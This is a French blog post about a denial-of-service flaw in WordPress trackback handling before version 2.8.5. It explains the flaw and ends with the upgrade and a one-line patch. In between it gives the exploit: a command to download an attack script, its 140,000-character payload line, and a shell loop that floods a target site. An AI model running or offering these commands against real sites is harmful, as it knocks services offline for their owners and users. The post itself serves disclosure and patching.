WordPress Trackback Denial of Service

WordPress Trackback Denial of Service

Une faille de sécurité vient d’être découverte pour les versions de WordPress inférieures à la 2.8.5. Le trou de sécurité permet, à une personne malveillante, de provoquer facilement un déni de service sur le serveur hébergeant le site, afin de rendre ce dernier inopérant.

La faille

Le bout de code remis en cause est celui-ci. Il se trouve dans le fichier wp-trackbacks.php :

if ( function_exists(‘mb_convert_encoding') ) { // For international trackbacks
  $title = mb_convert_encoding($title, get_option('blog_charset'), $charset);
  $excerpt = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset);
  $blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset);
}

Ici, c’est l’utilisation de la fonction php mb_convert_encoding qui pose problème :

mb_convert_encoding(chaine, nouveau_charset, charset_origine)

Cette dernière permet de convertir l’encodage d’une chaîne de caractères. Elle accepte en troisième paramètre, plusieurs encodages. Ainsi, la fonction est capable de déterminer quel est l’encodage le plus proche de celui d’origine, en les testant un par un.

$text = mb_convert_encoding($text, 'UTF-8', 'ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1');

Ce test demande bien entendu beaucoup de ressources au serveur, surtout si la chaîne de caractères à vérifier est longue.

 

L’exploit

Pour exploiter cette faiblesse, il suffit donc d’envoyer un trackback contenant une chaîne de 140 000 caractères et indiquer qu’il y a 23 333 charsets d’origine possible. Cela aura pour effet de saturer le CPU du serveur.

Voici un exemple d’utilisation de l’exploit :

wget fabblog.fabaur.fr/public/exploit-wp-trackback.phps mv exploit-wp-trackback.phps exploit-wp-trackback.php

On remarquera à la ligne 10, l’initialisation de la chaîne de 140 000 caractères et de son encodage :

$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);

Puis, on lance le déni de service en précisant l’adresse du site cible :

while /bin/true; do php exploit-wp-trackback.php http://www.cible.com; done; ... hit! hit! hit! ...

 

Le correctif

Pour combler cette faille de sécurité, il suffit de mettre à jour votre WordPress avec la version 2.8.5 ou supérieure. Si vous souhaitez patcher le code à la main, il suffit simplement de remplacer la ligne suivante du fichier wp-trackback.php :

$charset = strtoupper( trim($charset) );

Par celle-ci :

$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );

 

 

 

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.

* Copy This Password *

* Type Or Paste Password Here *